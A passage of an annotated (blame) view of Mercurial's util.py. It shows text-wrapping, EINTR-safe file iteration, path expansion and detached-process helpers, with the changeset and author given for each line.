FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2460 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2461 # Maximum width for this line. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2462 width = self.width - len(indent) |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2463 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2464 # First chunk on line is whitespace -- drop it, unless this |
17424
e7cfe3587ea4
fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents:
17391
diff
changeset
|
2465 # is the very beginning of the text (i.e. no lines started yet). |
32527
47ce079b1afa
util: look for empty-sysstr instead of empty-bytesstr in textwrap code
Augie Fackler <raf@durin42.com>
parents:
32462
diff
changeset
|
2466 if self.drop_whitespace and chunks[-1].strip() == r'' and lines: |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2467 del chunks[-1] |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2468 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2469 while chunks: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2470 l = colwidth(chunks[-1]) |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2471 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2472 # Can at least squeeze this chunk onto the current line. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2473 if cur_len + l <= width: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2474 cur_line.append(chunks.pop()) |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2475 cur_len += l |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2476 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2477 # Nope, this line is full. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2478 else: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2479 break |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2480 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2481 # The current line is full, and the next chunk is too big to |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2482 # fit on *any* line (not just this one). |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2483 if chunks and colwidth(chunks[-1]) > width: |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2484 self._handle_long_word(chunks, cur_line, cur_len, width) |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2485 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2486 # If the last chunk on this line is all whitespace, drop it. |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2487 if (self.drop_whitespace and |
32527
47ce079b1afa
util: look for empty-sysstr instead of empty-bytesstr in textwrap code
Augie Fackler <raf@durin42.com>
parents:
32462
diff
changeset
|
2488 cur_line and cur_line[-1].strip() == r''): |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2489 del cur_line[-1] |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2490 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2491 # Convert current line back to a string and store it in list |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2492 # of all lines (return value). |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2493 if cur_line: |
32546
3b8155305fbe
util: use sysstr.join instead of bytes.join in textwrap wrapper
Augie Fackler <raf@durin42.com>
parents:
32527
diff
changeset
|
2494 lines.append(indent + r''.join(cur_line)) |
15066
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2495 |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2496 return lines |
24efa83d81cb
i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15065
diff
changeset
|
2497 |
13316
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2498 global MBTextWrapper |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2499 MBTextWrapper = tw |
d119403fd266
util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents:
13313
diff
changeset
|
2500 return tw(**kwargs) |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2501 |
12698
7aef77e74cf3
util: make wrap() require a width argument
Matt Mackall <mpm@selenic.com>
parents:
12689
diff
changeset
|
2502 def wrap(line, width, initindent='', hangindent=''): |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2503 maxindent = max(len(hangindent), len(initindent)) |
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2504 if width <= maxindent: |
9417
4c3fb45123e5
util, minirst: do not crash with COLUMNS=0
Martin Geisler <mg@lazybytes.net>
parents:
9397
diff
changeset
|
2505 # adjust for weird terminal size |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2506 width = max(78, maxindent + 1) |
31338
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2507 line = line.decode(pycompat.sysstr(encoding.encoding), |
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2508 pycompat.sysstr(encoding.encodingmode)) |
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2509 initindent = initindent.decode(pycompat.sysstr(encoding.encoding), |
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2510 pycompat.sysstr(encoding.encodingmode)) |
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2511 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding), |
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2512 pycompat.sysstr(encoding.encodingmode)) |
11297
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2513 wrapper = MBTextWrapper(width=width, |
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2514 initial_indent=initindent, |
d320e70442a5
replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
11256
diff
changeset
|
2515 subsequent_indent=hangindent) |
31338
a9a28ca17615
util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31315
diff
changeset
|
2516 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding)) |
8938
9b8c9266c59d
commands: wrap short descriptions in 'hg help'
Martin Geisler <mg@lazybytes.net>
parents:
8785
diff
changeset
|
2517 |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2518 if (pyplatform.python_implementation() == 'CPython' and |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2519 sys.version_info < (3, 0)): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2520 # There is an issue in CPython that some IO methods do not handle EINTR |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2521 # correctly. The following table shows what CPython version (and functions) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2522 # are affected (buggy: has the EINTR bug, okay: otherwise): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2523 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2524 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2525 # -------------------------------------------------- |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2526 # fp.__iter__ | buggy | buggy | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2527 # fp.read* | buggy | okay [1] | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2528 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2529 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2530 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2531 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2532 # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2533 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2534 # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2535 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2536 # CPython 2, because CPython 2 maintains an internal readahead buffer for |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2537 # fp.__iter__ but not other fp.read* methods. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2538 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2539 # On modern systems like Linux, the "read" syscall cannot be interrupted |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2540 # when reading "fast" files like on-disk files. So the EINTR issue only |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2541 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2542 # files approximately as "fast" files and use the fast (unsafe) code path, |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2543 # to minimize the performance impact. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2544 if sys.version_info >= (2, 7, 4): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2545 # fp.readline deals with EINTR correctly, use it as a workaround. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2546 def _safeiterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2547 return iter(fp.readline, '') |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2548 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2549 # fp.read* are broken too, manually deal with EINTR in a stupid way. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2550 # note: this may block longer than necessary because of bufsize. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2551 def _safeiterfile(fp, bufsize=4096): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2552 fd = fp.fileno() |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2553 line = '' |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2554 while True: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2555 try: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2556 buf = os.read(fd, bufsize) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2557 except OSError as ex: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2558 # os.read only raises EINTR before any data is read |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2559 if ex.errno == errno.EINTR: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2560 continue |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2561 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2562 raise |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2563 line += buf |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2564 if '\n' in buf: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2565 splitted = line.splitlines(True) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2566 line = '' |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2567 for l in splitted: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2568 if l[-1] == '\n': |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2569 yield l |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2570 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2571 line = l |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2572 if not buf: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2573 break |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2574 if line: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2575 yield line |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2576 |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2577 def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2578 fastpath = True |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2579 if type(fp) is file: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2580 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2581 if fastpath: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2582 return fp |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2583 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2584 return _safeiterfile(fp) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2585 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2586 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2587 def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2588 return fp |
30395
10514a92860e
util: add iterfile to workaround a fileobj.__iter__ issue with EINTR
Jun Wu <quark@fb.com>
parents:
30359
diff
changeset
|
2589 |
7879
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2590 def iterlines(iterator): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2591 for chunk in iterator: |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2592 for line in chunk.splitlines(): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2593 yield line |
9610
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2594 |
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2595 def expandpath(path): |
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2596 return os.path.expanduser(os.path.expandvars(path)) |
10239
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2597 |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2598 def hgcmd(): |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2599 """Return the command used to execute current hg |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2600 |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2601 This is different from hgexecutable() because on Windows we want |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2602 to avoid things opening new shell windows like batch files, so we |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2603 get either the python call or current executable. |
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2604 """ |
14228
116de1da2154
rename util.main_is_frozen to mainfrozen
Adrian Buehlmann <adrian@cadifra.com>
parents:
14167
diff
changeset
|
2605 if mainfrozen(): |
27766
198f78a52a2f
util: adjust hgcmd() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents:
27765
diff
changeset
|
2606 if getattr(sys, 'frozen', None) == 'macosx_app': |
198f78a52a2f
util: adjust hgcmd() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents:
27765
diff
changeset
|
2607 # Env variable set by py2app |
30637
344e68882cd3
py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30625
diff
changeset
|
2608 return [encoding.environ['EXECUTABLEPATH']] |
27766
198f78a52a2f
util: adjust hgcmd() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents:
27765
diff
changeset
|
2609 else: |
30669
10b17ed9b591
py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30642
diff
changeset
|
2610 return [pycompat.sysexecutable] |
10239
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2611 return gethgcmd() |
10344
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2612 |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2613 def rundetached(args, condfn): |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2614 """Execute the argument list in a detached process. |
10422
600142e7a028
util: fix trailing whitespace found by check-code
Augie Fackler <durin42@gmail.com>
parents:
10344
diff
changeset
|
2615 |
10344
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2616 condfn is a callable which is called repeatedly and should return |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2617 True once the child process is known to have started successfully. |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2618 At this point, the child process PID is returned. If the child |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2619 process fails to start or finishes before condfn() evaluates to |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2620 True, return -1. |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2621 """ |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2622 # Windows case is easier because the child process is either |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2623 # successfully starting and validating the condition or exiting |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2624 # on failure. We just poll on its PID. On Unix, if the child |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2625 # process fails to start, it will be left in a zombie state until |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2626 # the parent wait on it, which we cannot do since we expect a long |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2627 # running process on success. Instead we listen for SIGCHLD telling |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2628 # us our child process terminated. |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2629 terminated = set() |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2630 def handler(signum, frame): |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2631 terminated.add(os.wait()) |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2632 prevhandler = None |
14968
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
2633 SIGCHLD = getattr(signal, 'SIGCHLD', None) |
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
2634 if SIGCHLD is not None: |
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
2635 prevhandler = signal.signal(SIGCHLD, handler) |
10344
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2636 try: |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2637 pid = spawndetached(args) |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2638 while not condfn(): |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2639 if ((pid in terminated or not testpid(pid)) |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2640 and not condfn()): |
9501cde4c034
